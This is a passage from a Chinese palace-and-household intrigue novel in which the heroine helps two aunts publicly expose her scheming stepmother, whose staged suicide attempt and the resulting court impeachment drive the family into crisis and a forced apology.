关怀素大喜,而庞大娘子稍微踌躇一下,轻声说:“此事唯有一个忌讳,便是事情传出,必然对令尊十分不利。” “如今我父亲官运亨通,全家跟着吃用我母亲的嫁妆,那我得了什么好日子了呢?”关怀素轻轻冷笑一声,说,“大姨母不必试探我。” 庞大娘子闻言,登时放心,立刻说:“姑娘既然能下的如此决心,当初在李家备受打压磋磨的事情,我们也可以借机宣扬出去。一个人身上,若有一件恶事,那可能无辜,便是两个亲人,亦可能会是旧仇,可若是三次、四次呢?且我弟弟的事发之后,你父亲为何要压着昔日并未欺凌孙萍的恩人之子……这桩桩件件,若是接连发生呢?” 那么,哪怕再相信孙萍的人,都会心中惊疑。 “到时候孙萍自顾不暇,自然不可能再有空掣肘姑娘,更遑论再拿姑娘的婚事磋磨。”庞大娘子轻声说。 庞大娘子真的是个特别聪慧的人,到了这等时候,还冷静地在和她谈各自好处,而不是与庞家小姨一般,只知道哭求或是发狠。 关怀素心中惜才,对庞大娘子说:“此事若是办好,大姨母可想和离?你如此人物,实在不该在小小县城里埋没一生!” “和离何其难?且现在不比先皇在的时候,那时女子尚能顶门立户,如今只得女子,便是无主之家,便要从旁支里找一个男丁过继,才能安稳生活……”庞大娘子苦笑,摇头说,“我已经蹉跎大半辈子,已经再无什么奢望了。我原先唯一的希望,便是芸娘嫁个好人家,日后过得好。” 如今的希望,也大约是毁了。 那马修文贪色刻薄,带走芸娘前几日早已经圆房,在如今这个世道,只怕只能往乡下去找人家了。 关怀素却摇头,说:“京师附近许多条条框框,但是过了长江,风俗与先皇在时差别不大,女子行走在外,虽也是要小心宵小,但是正常找个城里顶门立户,却也是可以的。妇人二嫁,也十分正常。小姨母虽家中还有人,但是大姨母却可带着芸娘去南方试试,总比在此地遭人白眼憋屈过日子好。” 这话一说,庞大娘子登时目露希望,颤声说:“姑娘说的可是当真?” 这些事儿,她们在京师可都不知道,芸娘此刻枯槁的脸上也放出光来——能有希望正常过日子,谁想去乡下嫁个鳏夫,或是贴着钱找个夫婿,还要叫人嫌弃不是黄花大闺女? 不但她们二人惊喜,便是小姨母也颤声说:“若是能叫芸娘能好好过日子,我便是一世见不到芸娘也无事!” “这事儿是真的,你们可以与南方来的行脚商人多打听一下,就知道我所言非虚。”关怀素觉得庞大娘子此等人物,若是浪费在那县城里,也真是可惜,便说,“至于和离的事情,我叫我姨母派个管事去,县主身边的管家给大姨母做主,我不信你家里还敢置喙。” “那必然是不敢的!再说他一贯宠那小妾,我也无子嗣,留着我不过是想与李家搭个亲戚好行事罢了!”庞大娘子听到这里,头一次觉得能从那苦海里生出了爬出来的希望,登时整个人都放出光彩来。 话说到这里,众人不再耽搁,此事便这么定下来。 关怀素悄悄回家,并无一人发现她做了什么。 于是第二天一大早,李家大门口便大吵大闹起来。 丁妈妈满面春风,端着水盆进门就对关怀素说:“姑娘,门口一大早就闹起来了,刚好把上朝的老爷都堵在大门口了!” 不等关怀素问,便连串说出来:“今儿孙家那两位亲戚姨奶奶来了,拖了一车东西,说都是往日大娘子送的,不但如此,还叫婆子在门口叫骂,说要与大娘子这等谋害侄女的毒妇断亲!” “走,我们去看看!”关怀素闻言,稍微洗把脸,便往大门口去看热闹。 匆匆走出去,刚好与宁小娘撞上,二人结伴去了前院,远远就听到大声哭喊。 稍微听了一下,才发现叫骂者居然是被李家发卖出去的庞家老人,这老婆子叉腰在门口大吼:“孙萍你栽赃两个表姐妹,死去的老爷疼爱里,为了你一直遮掩!你心虚怕我们这些老人知道,便把我们发卖出去,你想不到吧,老婆子我又活着回来了!回来揭穿你这个画皮!” 说着破口大骂,说起她如何踩着两个表姐栽赃,还把当年闺中许多事情都说了,另外还说了她想把李家发妻关娘子唯一女儿塞给那不是人的马修文,因马修文骚扰李家丫鬟作罢,竟不管侄女死活,任由马家把侄女掳走的事情。 说到这里,李珺脸色已经青绿交加,但是要赶着去上朝,因此叫门房请人进来,不要堵在门口,但是那帮人也不走,只骂完把孙大娘子当初的东西全放门口了。 “你这些年怕两位姑娘揭穿你当年事,送的这些礼物都在这里。这都是人家关娘子的东西,你孙萍鸩占鹊巢、虐待继女,如此毒妇偷窃来的东西,姑娘们不愿意要!”老婆子大骂,“日后两家再没这个亲戚,也麻烦孙萍别再踩着庞家给自己立名声,如此毒蛇一般的亲戚,庞家要不起!” 这话说完,她们便立刻驾车离开。 李珺的脸色黑如锅底,孙萍匆匆赶来,根本没来得及说一句话,她想跟李珺说话,去抓李珺的手,李珺却一拂袖,转身出去了。 孙萍的脸色差得可怕,关怀素和宁小娘对视一眼,悄无声息地回院子。 到了后院宁小娘就笑出声来,说:“真是报应!” 关怀素眼神闪了一下,轻声说:“小娘,这世上可没什么报应呢。” 若不是她汲汲营营,若不是她能给庞大娘子姐妹看到她的能力,只怕这会子就轮到她死在去滁州的路上了,到时候孙萍坐收渔翁之利,哪里有今日? “大姑娘做了什么?”宁小娘意识到了什么,立刻问关怀素。 “是我托人救回了那芸娘。”关怀素坦然承认,而后说,“也是我支持两位姨母揭破孙大娘子的真面目。” 宁小娘闻言,连声说:“痛快!真痛快!” 她们在这边抚掌大笑,那边孙萍正在发火。 “她们怎么突然如此疯癫,竟真不顾庞文的前程了不成?!”孙萍回屋就一把摔碎了最爱的那盏汝窑茶杯,怒吼。 扶芳立刻提醒:“娘子,这时候不是发火的时候,得想办法叫两位姨奶奶不要发疯,否则怕影响到娘子的名声。” 孙萍哪里不知道?她自个儿靠着名声好得了多少好处,她的儿女还要好名声,才能得一个好姻亲!哪里不知道名声对她来说比天还大?可这会儿已经闹出去,一时半会儿哪里压得下来? 正发火,婉淑匆匆过来了,进门就问:“阿娘,姨母们怎么突然与你断交?她们疯了不成?!” 婉淑压根就不相信两位姨母说的那些事儿,她怒气冲冲地说:“她们素来到家里都是打秋风的,这些年全靠阿娘接济,不然早不知去哪里了,怎地如此恩将仇报?!” 孙萍好容易压下愤怒,冷声说:“这是我们上一辈的事情,你不要管。” “我怎能不管!”婉淑有些着急母亲的态度,立刻说,“阿娘,这事儿若是闹大,叫赵家知道怎么办呢?” 母女二人正说着呢,便见到李福脸色难看地进门来,看到孙萍就行礼说:“娘子,京师府衙有请。” “你说什么?”孙萍惊愕地问。 “庞家两位姨奶奶给京师府衙递了状纸,告您与老爷,老爷的罪名是帮助继妻弹压堂弟,包庇继妻、打压朝廷命官。”李福躬身不敢看大娘子,低声说,“您是心怀妒恨,撺掇老爷打压恩人之子。” 孙萍一下子头晕目眩,差点就要晕倒。 李福立刻说:“老爷已经去往府衙分辨,叫娘子您赶快去,耽搁不得。” 孙萍咬牙这才站稳,不敢耽搁,追问:“空口白牙,她们的话如何能叫人取信?” 谁知道不说还好,一说李福的神色就古怪起来,他抬头看看孙萍,立刻垂下眼睛,说:“府尹说大姨奶奶递上来了万民伞,乃是庞文在为县令期间,受当地百姓所赠。” 万民伞,那可是一朝一代都不一定能出几个,便是圣人得知,也要嘉奖的。 而李珺却给庞文打了个乙等考评……这里头包含的信息,哪怕是孙大娘子这后宅妇人也明白到底多可怕。 孙萍这才真正惊恐起来——夫君若是失势,只怕他们家就完了! 想到这里,孙大娘子连声惊恐地问:“夫君可会被连累?庞文他得了万民伞,怎么不告诉我!” 问完孙萍立刻知道了答案,庞家两个表姐妹对自己芥蒂多年,只怕等今日不知多久了,怎么会告诉自己? 她立刻起身,说:“马上备车,立刻去衙门,不可叫夫君久等。” 说着,她拍拍婉淑的手,起身便往外匆匆出去。 等到了衙门,孙萍被引入了衙门后院,谢天谢地因为事涉朝廷命官,并未开庭,而是由府尹孙大人在后衙细问。 万民伞被摆在面前,庞家两位表姐妹冷冷地看着她,夫君脸色青白,看到她就厉声说:“夫人,这到底是怎么回事?为何庞文得了万民伞都不敢告诉我?!” 孙萍闻言,行礼到一半立刻抬头,露出坚毅至极的神色,说:“我亦不知,原来表姐和表妹这些年一直深恨我,事到如今,我百口莫辩,唯有一个办法,可以自证清白。” 说完,孙萍看着李珺,说:“夫君,替我好好照顾瑜儿和淑儿!” 说完,孙大娘子竟毫无停留,猛地直接往旁边冲,重重地撞上了厅内梁柱! 第一百一十三章 拉锯 关怀素听到这个消息的时候,瞬间抚掌感慨:“厉害!” 如此绝境,她能当机立断,果决到这个程度,真正是非一般的能人。 “这人真的是心腹大患。”关怀素皱眉,咬牙低声说,“如今,我真正只忌惮她一人。” “确实厉害,这种时候,她自戕明志,庞家若没有别的证据,只怕危险。”柳叶也十分震撼又感慨地说,“大娘子以死明志,她们就变成猜测亲人的阴暗小人了!” 关怀素点头,咬牙轻声说:“跟庞家大姨母说一声,就说,此事干系到她亲弟弟,既然已经露头,就不可放弃,叫她自己想清楚。” 看柳叶点头,关怀素又轻声说:“大娘子撞柱,这几个月管不得家里的事情,跟宁小娘说,让她这两天把账本给老爷看看,该说的说清楚,此时正好是卸了大娘子臂膀的好时候。” 孙萍此人智计过人,必须趁她此时削减她的势力,否则日后只怕更多麻烦。 关怀素这边在安排,另一边,命运的齿轮也在悄无声息地转动。 丽娘正在偷听父母在屋里说话。 “人家女儿把你女儿当大傻子,如今丽娘的夫家都没了,你还帮着孙萍遮掩她陷害表姐妹的事情?你到底有没有一点在乎丽娘!”钱夫人的声音到最后带了哽咽。 钱大人头都被吵得晕乎了,连忙告饶,说:“我的夫人,我这不正是在为咱们丽娘报仇吗?!” 钱夫人狐疑地停住,钱大人才找到机会,立刻说:“我把这事儿压下,是卖李珺面子,可这事儿压不住的,你信不信晚上就会有御史递折子弹劾他?事情到我这里就解决了,那才是帮他真正遮掩,就要捅到圣人面前去,把这事儿闹大才好!” “真的?”钱夫人闻言,立刻问。 见钱大人点头,她才擦着眼泪说:“那就好,孙萍那个贱人养的女儿也不是什么好东西,回回撺掇我们丽娘给她出头,之前差点弄得大哥儿和大姐儿与她离心,偏丽娘又是个憨的,竟不记事儿,上回又被小贱种几句话挑拨,去良娣面前胡咧咧,得亏胡妈妈机灵,否则只怕还要出大丑……” 钱大人闻言,也是心疼这个继妻和幺女,只能叹了口气,轻声安慰,说:“无事的无事的,丽娘性子天真单纯,日后我给她在老家找个知根知底的人家,一世护着她、不叫她吃亏就是了。” “她连亲兄弟也没有,日后还不知道靠谁了……”钱夫人闻言,想到自个儿嫁过来做填房十几年也没给丽娘生个兄弟姐妹,叫她一个憨傻的天天被人欺负,登时更是自责,泪流不止。 丽娘听得眼泪长流,悄无声息地转身离去,不敢惊动父母。 她这时候看起来,已经全无之前的娇蛮可爱,眼下都是乌青,脸颊已经瘦的微微凹下去。 自流云台寺回来之后,丽娘的人生就天翻地覆。 那日流云台寺,她回来的时候还生气,说:“淑妹妹说了的,太子良娣虽尊贵,但是我们到底是一起长大的,淑妹妹还是她嫂子呢,何至于如此小心翼翼?” 结果回家之后,从来对她千娇百宠的阿娘扇了她一巴掌,气得当晚就躺下了。 丽娘还不服气,结果没几天,已经有默契的未婚夫家里就来人了,她欢喜地出去见未来婆婆,听到往日对她都疼爱有加的未来婆婆叹了口气,对哭泣的母亲说:“不是我狠心,实在是丽娘这脾气不适合待在京师,他日只怕还有大祸,你若是有办法,早点把她送回老家吧。” 而后是母亲大哭的声音,说:“我知道,我们一起长大的交情,我不怪你,早知道如今,我就不该让她和李婉淑来往,她也不想想,回回都是她给李婉淑出头,回回被撺掇,出事之后,哪一回那李婉淑替她说话了?不说别的,她是良娣未来嫂嫂,那日她只要站出来打个圆场,良娣肯定也就顺便把此事过了。” 那夫人也叹气,说:“是啊,良娣性子温厚,那日也不是故意要惩罚丽娘,实在是那日若是叫丽娘凑过去,日后谁还把良娣当回事?她呀,做了人家的棋子还不知道。” 又问:“还没想明白呢?” 丽娘就听到母亲哭着说:“可不是,我真是想不明白,那李婉淑给她灌迷魂汤了不成?那么多人品好的,偏就找了那么条阴毒的蛇一起玩!” 后面母亲和手帕交说了什么,丽娘听到退婚事情定下来,商议到什么时候退回双方庚帖……她就再听不进去了。 她浑浑噩噩地带着丫鬟一路往屋里走,脑子里就一直响着那句“她是良娣未来嫂嫂,良娣也不是真心要罚丽娘,她打个圆场又不会有任何损失,为什么要眼睁睁看着丽娘出丑?” 钱丽娘突然猛地打了个激灵,她突然问身边丫鬟:“小玉,你说,那日淑妹妹就在旁边,为何不肯替我说一句话?” 小玉眼泪一下子下来了,说:“姑娘,三姑娘每日做人瞧着和气,说话都斯斯文文地,可是您自从八岁和她一起玩,您没发现就再没别的姑娘搭理您了吗?” 丽娘突然回忆起来,呐呐地说:“是啊,一开始,我的朋友很多的。便是婉玉姐姐、婉玉姐姐……” 她说到这里,突然从尘封的脑海里回忆起一桩往事。 那时她跌在地上哭,也是孩童的李婉玉把她扶起来,给她一点点擦干净手里的泥巴,又笑着说:“不哭不哭,妹妹这么漂亮,哭了就不好看了哦。” 那时候,钱丽娘就觉得,这个姐姐真好看,真温柔。 可是后来发生了什么呢? 是了,是婉淑看到她和李婉玉姐姐在一起,便过来可怜兮兮地说:“你能不能不要和我大姐姐玩?” 丽娘问为什么。 婉淑说:“大姐姐每次在家里都摆嫡长姐的威风,连我娘都要让着她,我怕她。” 当时丽娘一下子就觉得与婉淑亲近起来——因为她娘也是继室,她知道继室有多难做。 所以她跟着婉淑一起,不知为何就愈发仇视李婉玉,甚至连家里大哥和大姐姐也仇视。 而实际上,这次她闹出事,大哥只叹了口气,跟父亲说,给她寻摸一下昔日同窗,看看有没有合适的,好歹不叫她随便嫁个人。 大姐姐在备嫁,见到她如此,嘴巴上骂她不争气是个蠢货,私下里却听大姐姐说,好歹要给李婉淑这个贱货找点麻烦。 …… 其实她家里人都对她很好,是她蠢,竟连娘的话都不听,一味地相信所谓的好朋友。 岂不知婉淑不是挚友,是毒蛇。 她大好人生,竟叫婉淑撺掇着,此后竟是回京也不能,一辈子说不得连母亲也见不到了。 想到这里,钱丽娘眼泪一串串地落下来,她不敢置信,憋了好久的眼泪一下子流出来。 而后她再也绷不住,嚎啕大哭,仿佛要把这辈子的委屈都哭出来。 但是丽娘也不是个软性子,她敢回回给李婉淑出头,便是因为她性子刚烈不怕事。 哭完,丽娘擦干净眼泪,在屋里咬牙,轻声恨声说:“李婉淑害我至此,我决计不会让她好过!” 说完,丽娘在屋里踱步,只问身边丫头:“小玉,李婉淑有什么把柄可以让我用?” 小玉苦着脸,轻声念叨说:“姑娘,她一直防着咱们呢,哪有什么把柄?” 丽娘苦思冥想,半晌也想不到,登时愤恨起来,拍桌怒声说:“难道便叫她害了我还安然无恙不成?” 小玉想了一下,眼睛一亮,说:“姑娘,婉淑她那娘如今刚撞柱明志呢!她那娘不是好东西,赵家难道不膈应?” “你的意思是啥?”丽娘没听懂,茫然地问。 “姑娘,咱们没事去散播婉淑和她娘的坏话去,把她和她娘当初怎么欺负婉玉姐姐的事情都说出去!”小玉想了半天,也只想到这个办法,她说,“总归不能叫她李婉淑过得舒服!” “你说得对!”丽娘也觉得目前只能如此,便点点头,答应下来,说,“再说点婉玉姐姐的好话,最好叫李婉淑也别嫁赵家,这门好婚事落到婉玉姐姐身上才好!” 说完,丽娘便下定决心,马上就出门开始与诸位姐妹说话。 只是她没想到,她素日脾气差,被李婉淑带着得罪不少人,说话根本没人听。 如此几次,丽娘愈发深恨李婉淑,发觉这计策无用之后,她一咬牙,偷偷去父亲的书房,干脆看起来了庞家状告孙萍的状纸。 而后一路摸索着,丽娘干脆翻起陈年卷轴来,一路寻找关于孙萍只鳞片爪的消息。 没想到找着找着,还真叫孙丽娘找到了一个让人眼前一亮的东西! “去,叫人把这个送去庞家!”孙丽娘眼睛发亮,把抄下来的卷轴塞给丫鬟,说,“务必亲手交给庞大娘子!” 关怀素还不知道京师角落的风云涌动,她正去姨母家。 一到地方,就发现崭新的大门开着,门前挂着县主府的匾额,关怀素被开着正门迎进去,绕过前厅就觉得眼前一阵开阔。 进门发现众人正喜气洋洋,家中一股子兴旺昂扬之气,一扫李家的沉闷压抑。 “哎呀,竟是屋子建好了!”关怀素登时大喜。 “给大姑娘请安!”关怀素进门来,丫鬟婆子都纷纷请安,眉眼含笑。 关怀素被引着进了正院屋里,才进门突然就听到孩童嬉笑的声音。 关怀素一惊,再看屋里,竟然全部都布置一新——整个屋子带尖角的家具都被包了厚厚的软垫儿,榻上铺了厚厚的棉褥子,上头两个刚学会爬的孩子正在上头挥舞着小胳膊,试图抓奶娘手上的小布老虎。 程娘子的身边,还跟着一个两三岁的细瘦男孩,可怜巴巴地睁大眼睛,有些怕人地依偎着程娘子,似乎不敢和关怀素招呼。 “这是?”关怀素想到自己托周乐天办的事情,便笑着说,“平安侯这是忙完了?” “是啊,昨儿京师水道的事情才全部忙完,侯爷就带咱娘子亲自去挑的人。”妈妈笑得眼角皱纹都堆叠起来,一边还逗着小娃娃不放,一边说,“昨儿中午就带去上了族谱,日后咱们娘子与大人都后继有人了,昨儿晚上那帮人又来恶心人,还叫小侯爷狠狠教训了一场,咱们娘子下半辈子可算是安稳了!” “是啊,来,朗儿,来见过你大姐姐。”程娘子也是容光焕发,拉着身边稍大些的孩子就给关怀素问安。 “是大姐姐!”小孩儿原本害怕,听到是大姐姐立刻眼睛一亮,亮出手中一直攥着的木球,崇拜地说,“是大姐姐做了这个机关球吗?朗儿好喜欢这个!” 关怀素原本还担心小孩儿怕生,没想到姨母竟是连这都想到了,心中一暖,笑着对朗儿说:“是哦,姐姐很擅长做这种,朗儿若是解开这个机关球,姐姐还能给你做更复杂的九孔连环跑马。” 朗儿一听,登时双眼发亮,缠着关怀素就开始问机关球里不懂的地方。 二人玩了一会子,吃了午膳,朗儿年纪小,就该午睡了,他流浪许久,身子亏空,这时候可不能熬,很快便在妈妈的劝说下恋恋不舍地下去休憩了。 临走的时候还叫大姐姐等他醒来再一起玩。 关怀素含笑看着孩子们都被抱去休憩,感慨地说:“我就说姨母月头怎地突然托人找我要些精巧的机关小玩意儿,原来当时就打算好哄娃娃。这倒是好,还没见面,已经叫他们认识我这个大姐姐了。” “是啊,月头平安侯说忙完了就办这事儿,我想着你不常在家里,但是弟弟妹妹们当然要记得大姐姐。”程娘子闻言笑着说话,门口传来宋兰清脆的声音,说,“婉玉姐姐可算来了,我这几日听说李家出了好大的热闹!” 说着便见到宋兰进门,穿着绯色的纱衣,头戴绒花,看着气度清雅华贵,已经与前些日子截然不同。 程娘子见她进门,笑意更盛,说:“你那院子还差什么要布置的么?” “一切都好,婉玉姐姐,你要不要看看姨母给你留的院子?”宋兰极是落落大方,笑着邀请关怀素说,“不瞒姐姐,这屋子也是昨儿个才搬进来,我也没逛过,不如我们今儿逛逛?” 孩子们都休息了,程娘子也觉得这个想法很好,便起身笑着一起去看关怀素与宋兰的院子。 县主府正院是三进,与李家不一样的是大了几倍,且是正经规制的大三进院落。光是正院就是分别四个带花园子的小院子环抱而成,整个内院则都是如此构架凑在一起,形成完整的内院。 说是说一个内院,实则光是挑一处正房,都抵得过李家的正院大小了。 且前后的倒座下头,一处就能并排空出十几间下人房,前后都有单独的下人院子,一点也惊扰不到主人家。 程娘子把孩子们都安排在了主人所在的正院,三个孩子都住在正院单独的小院子里。 至于宋兰,则是自己挑了右边的院子,至于关怀素,程娘子则是安排她到对面的院子。 “我瞧着一切都太好了。”关怀素看了一圈,只觉得事事都开阔如意,见宋兰精神抖擞,便笑着说,“兰妹妹如今在姨母这里,养的跟变了个人似的,瞧着也过得舒服。” “那可不是。”宋兰立刻说,“自没了祖父之后,憋屈十来年,这辈子还是第一回这么快活。” 又说:“前几日李家闹得厉害,孙大娘子构陷表姐妹的事情都闹得风风雨雨的,姐姐你可还好?” 程娘子也担心这事儿,叫她来也是细问此事,此刻见宋兰问起,也看着关怀素。 “家里最近确实压抑,但是也与我无干。”关怀素笑着细细回答,宋兰和程娘子这才放下心来。 她现在应当算是李家最快活的人了。 孙大娘子撞柱之后就一直躺着,婉淑伺候母亲,婉蓉因为婚事的事情最近都老实许多,崔妙人想哄李珺,可李珺自己也惶然地等着言官把这事儿捅出来之后的惩罚。 关怀素也在等着,想看看事情会如何发展。 她没想到,此事居然闹出了大风雨来。 第一百一十四章 请罪 圣人临朝,大朝会上。 御史站出来就上禀天听,参李珺因一己之私、打压朝廷命官。 李珺心中早有防备,立刻出列跪下,痛声说:“陛下,臣实在不知妻弟为何隐瞒万民伞一事,但是臣绝无徇私枉法、打压朝廷命官的意思!” 此话一出,立刻有御史排众而出:“那庞县令为何不敢把万民伞交于吏部?不过就是知道表姐夫会打压他,所以只能压下功劳,毕竟他一个七品县令,怎敢与吏部考功司郎中冲突?陛下,此事事关朝堂能否选出忠良之才,吏部考功司职位不可由因私废公之人把持啊!” 说到这里,图穷匕见,显见政敌要趁这个机会,彻底解决他。 李珺心中忧愤,没想到就在这个时候,鲜少在朝堂出声的赵金白却出列,说:“臣不赞成张御史所言!” 赵金白乃是太子宾客,又是太子良娣之父,他出来,朝堂登时一静。 赵大人侃侃而谈:“李郎中自入朝以来,一直兢兢业业,反而是庞县令,因为与表姐的龃龉,竟不相信上峰、自己隐瞒在先,大丈夫事无不可对人言,庞县令此举,胆小如鼠,实在是叫人不齿!” 一句话,立刻便把整个事情逆转了方向。 言官也不是好打发的,立刻便有新的人出列,说:“臣认为赵大人说的不对,臣观看了庞县令连续五次述职,论理来说都该是甲等,尤其是陛下刚登基时,西北那边大旱,而庞县令所在县,当时饥荒最轻,如此政绩,当年考功司员外郎李大人给的考评是乙等最末,倒是当时的郎中复批,折中给了个甲末,才调去了富庶地方,偏当年有同等政绩的官员,李大人给了最高的甲上,如今已经是一州刺史!李大人一笔虽简单,但是期间官吏命运,可谓天渊之别!” 此人显见就是有备而来,此事别说赵大人不知道,便是李珺自己都不记得还有这回事。 他全身大汗淋漓,一时找不到话头,赵大人却十分冷静,说:“官员考评,素来是综合各种政绩,从不是一时小事决定。同年同级官员,谁都能成为一州刺史吗?不过是一个多年兢兢业业,各方面都十分优秀,而另一个或许有些亮眼处,但是却并不稳定罢了。” 这话一说,御史纷纷出列,拿出的都是非常明确的证据。 好在与李珺交好、王相一脉的文臣也纷纷出列,开始加入混战。 李珺心中感动万分,虽老师王相站在最前排,一句话都未曾为他多说,但是李珺知道,老师在力保他。 他心中这一刻,对老师的感恩可谓是到了顶峰。 这一日撕扯下来,圣人说此事等衙门那边查的差不多了再议,就把此事按下了。 如此,便表明圣人并未因为此事对李珺厌恶,这已经是李珺做梦都想不到的好局面了,下了朝他马上回家,叫管家李福开库房,把家里那尊白玉观音像拿出来,换了朝服就亲自去了王相府上。 王相下了朝被圣人召去,李珺到的时候他还没回来,李珺就干脆在屋里等着,吃了三杯茶,上了一次恭房之后,日头偏西,王相才回来了。 李珺被人叫过去的时候,王相还在脱朝服。 李珺亲自过去,接过王相的朝珠,等着丫鬟们帮着给王相换好了常服,这才恭敬地行礼叫老师。 王相嗯了一声,李珺躬身,扶着王相在太师椅上坐下。 王相坐下,便叹了口气,对李珺才说了句:“坐吧。” 李珺屁股只沾了一半,有些羞愧地说:“多谢老师替我操心,是学生办事不力……” “行了。”王相疲惫地看他一眼,有些责备地说:“你呀,你若是怕庞家起势于你妻儿不利,何苦用如此愚蠢的办法落人口实?找个办法,把人调去荒僻的地方,名义上给升了不就是?” 李珺大惭,连忙说:“老师明鉴,学生真无此意思!” 见王相不肯相信,李珺屁股一滑跪在地上,指天立誓说:“老师,学生对天发誓,若跟老师有一句假话,便天打雷劈!” 王相闻言,立刻扶他,责备说:“何苦发誓,为师信你。只是你既然没有这个意思,为何他对你如此戒备?” 说到这个,李珺也觉得冤枉,迷惑又愤怒地说:“学生也不明白,学生原也见过小舅子,是他亲口说想多磨炼几年,不想回京,平调就好。此事千真万确,学生绝无一句虚言!” “你看,这就是你的不是了。”王相闻言,立刻说,“既然对你都没有一句实话,显见你那小舅子早就与你离心,已经在防备你,而你连枕边人与亲人关系如何都不知道,这便是你最大的糊涂!” 李珺闻言,眼圈一红,羞愧垂手:“多谢老师教导,子君受教了。” 王相叹了口气,拍拍他的手,让他坐下,轻声说:“我年纪也大了,许多事情,你也要慢慢长起来。此事只要不出意外,应当问题不大,只是你也该拿出气度,与亲人修好关系才是。” 李珺听得明白,立刻点头:“老师说的是,我回去便带我那继妻亲自登门请罪!” 说完看王相点头,又立刻小心看着王相说:“既然是我失察,我也要避忌小舅子升迁之事,那考功司……我怕是不合适待下去了。” 李珺今儿登门,其实最想问的就是这个事儿,他此刻说完,心中紧张地看着老师。 王相颔首,微带笑意,说:“不是大事,下个月钱舍人便要告老,你且等着好消息便是。” 这便是上回王相对他承诺的中书舍人之职! 这一步路,便是御前行走的登天之路! 李珺还以为这回一闹,只怕自己能保住乌纱帽都算是庆幸,没想到老师居然如此坚定扶持自己,登时对老师感激到达巅峰,恨不得肝脑涂地以报。 他晚上在王家待到用餐,与王家人一起用了夕食,才与老师依依惜别。 晚上回到家,李珺立刻便去了东院,叫孙大娘子备好重礼,明日他不当值,带着孙大娘子亲自去对两位姨奶奶请罪。 孙大娘子闻言,登时崩溃。 她这辈子最得意的事情,便是自己一个客居姑娘、事事压了两个表姐妹一头,这些年更是看惯了表妹伏低做小,如今要自己向她低头,这简直不如杀了孙大娘子! “夫君,我若是这么出去,日后淑儿和瑜儿还如何做人?世人会如何看我?”孙大娘子额头还包着撞柱的纱布,坐在床榻上不可置信地看着李珺,说,“夫君叫我这么去,岂不是坐实了我陷害表姐妹的名声,坐实了我是个毒妇?” 李珺看着她,叹了口气说:“我知道此事委屈你了。但是咱们去道歉,和好了之后,自然就没人说这事儿了。” 孙大娘子闻言,委屈的眼睛通红,含泪说:“可是若是如此,我的名声倒是不重要,但是瑜哥儿和淑儿怎么办,他们日后如何出门交际啊?夫君你可也会受到牵连,影响前程?” “就是为了我的前程,才要登门请罪!”李珺闻言,叹了口气,上前拉起她的手,温声说:“老师今儿亲口指点我,叫我带着你和瑜儿、淑儿,亲自去登门请罪,无论如何叫两个姨奶奶收了状纸。” 说完又拍拍孙大娘子的手,温声说:“我知道此事委屈了你,只是事关我的前程,也关系到咱们家里的将来……” 正说着呢,门口传来丫鬟的请安声,老夫人进来了。 老夫人素来少出门,这会子进门,众人都惊了一下。 李珺连忙起身,问:“母亲怎地过来了?” “我再不过来,这个蠢妇还要你费多少口舌?”老夫人指着床榻上的孙大娘子怒骂:“要不是你这人骨头贱,得了好处还卖乖,你半辈子踩着你那两个舅家姐妹就算了,过得好了,还日日把人叫过来,赏那点手缝里漏出去的东西就当自己不得了了。好日子过多了你都不知道怎么嘚瑟才好是吧?这下子叫人日日记恨,终于要反咬你一口了,你现在开心了?!” 一顿话劈头盖脸,骂得孙大娘子脸色发白,攥紧了床上的被褥,却不敢随口反驳。 因老夫人说的都是真的,孙萍自个儿知道,若是按照聪明人做法,她很该嫁人后就不怎么与两个表姐妹来往,这样的话,她们若是突然来发难,世人也不会相信。 可她实在是太享受往日受宠爱、漂亮又有才华的表姐灰扑扑地在自己面前,太享受往日骄纵的表妹要堆着笑脸弯腰给自己赔小心,只为了自己随手给的一两个不值钱的小玩意儿。 她太自信了,自信自己如今能完全捏住表姐妹,能日日赏玩她们的痛苦和落魄而高枕无忧。 事实证明她错了。 这一次错,若只是她自己,她尚可熬着等风头过去,可是如今牵连到李珺,只怕她无论如何都要丢下这个脸了。 “这蠢妇自己做的事情,自己去解决,你还哄她做什么?她实在是不愿意,便休了就是!”老夫人见她还不作声,一拄拐杖怒声呵斥。 孙大娘子浑身一激灵,不可置信地看向老夫人。 老夫人恶狠狠地看着她,说:“反正淑儿和瑜儿也大了,休了你或是送庙里做姑子,也影响不到家里的名声,你怕丢人,就自个儿选一个!” “阿娘!”恰在这个时候,本在看账本的婉淑得到这个消息,立刻便冲进来,恰好就听到了祖母的话,她立刻哭着跑过去,抱住阿娘说,“阿娘不要去!阿娘,您若是去了,日后可如何自处啊!” 说完她含泪,转身对着李珺跪下,说:“父亲,求求您了,我代阿娘去可好?阿娘若是去了,岂不是真坐实了种种冤枉?父亲您也知道,阿娘当初在舅爷爷家里,确实也十分辛苦,日日织补绣花、手上一点闲钱也没有,阿娘手上现在还有当初的伤呢!” 她说得可怜,李珺脸上也露出怜惜不忍之色。 可老夫人却是个老辣的,冷哼一声,说:“先不说你娘当初家里老子是个宠妾灭妻的,你娘在老家只怕过得还没有在舅舅家里寄人篱下的好,再则她舅舅心软,怕她被妾室欺负才接她过来住,客居在人家家里,做些活计又怎么了?你两个姨母自个儿当初也是要做活儿的,又不是单她一个!你以为是你们,千金小姐似的养着?我告诉你,你能有现在这个日子,也是家里宽裕,你看看其他五品官家里,谁家姑娘像你们似的养尊处优,不都得自己绣花做衣衫?还当个个家里都请得起绣娘不成?偏她一个委屈什么?!” “淑儿,你别说了。”孙大娘子见老夫人动了真怒,不敢拖延,立刻抓住婉淑,说,“为了你爹的前程,我便是病死,也得去赔罪。这些年,我不知道两位姐妹竟是如此厌憎我,还当她们是最亲的亲戚……也是我的不对。晚上我就把手上的东西收拾一下,备大礼,明日一早去登门道歉。” 事情到此,终于尘埃落定。 第一百一十五章 罢官 孙大娘子答应,李珺就扶着老夫人离开了。 婉淑心中愤怒,忍不住说:“阿娘,祖母这时候说这些是什么意思,早知道她偏心西院的,但是她难道一点也不把咱们东院的名声当一回事吗?” 孙大娘子早已经恢复冷静,捏住婉淑的手,说:“她心里,谁都抵不过老爷的前程重要。明日我去向你两位姨母请罪,淑儿你记得,接下来你的日子只怕会很不好过。” 婉淑紧张地看着母亲。 她知道阿娘是什么意思,阿娘登门告罪,世人一定会相信是她理亏,如此阿娘一直以来经营出的好声誉只怕是要毁了。 她作为阿娘一手教导出来的女儿,只怕也难过了。 婉淑想到这里,有些紧张地问:“阿娘,会影响到我的婚事吗?” 孙大娘子轻声疲惫地说:“这事儿如果压得下来,你父亲官位不受影响,你和辰瑜的前程便不受影响。若是你父亲的仕途受影响,日后只怕你和你弟弟都难了……” 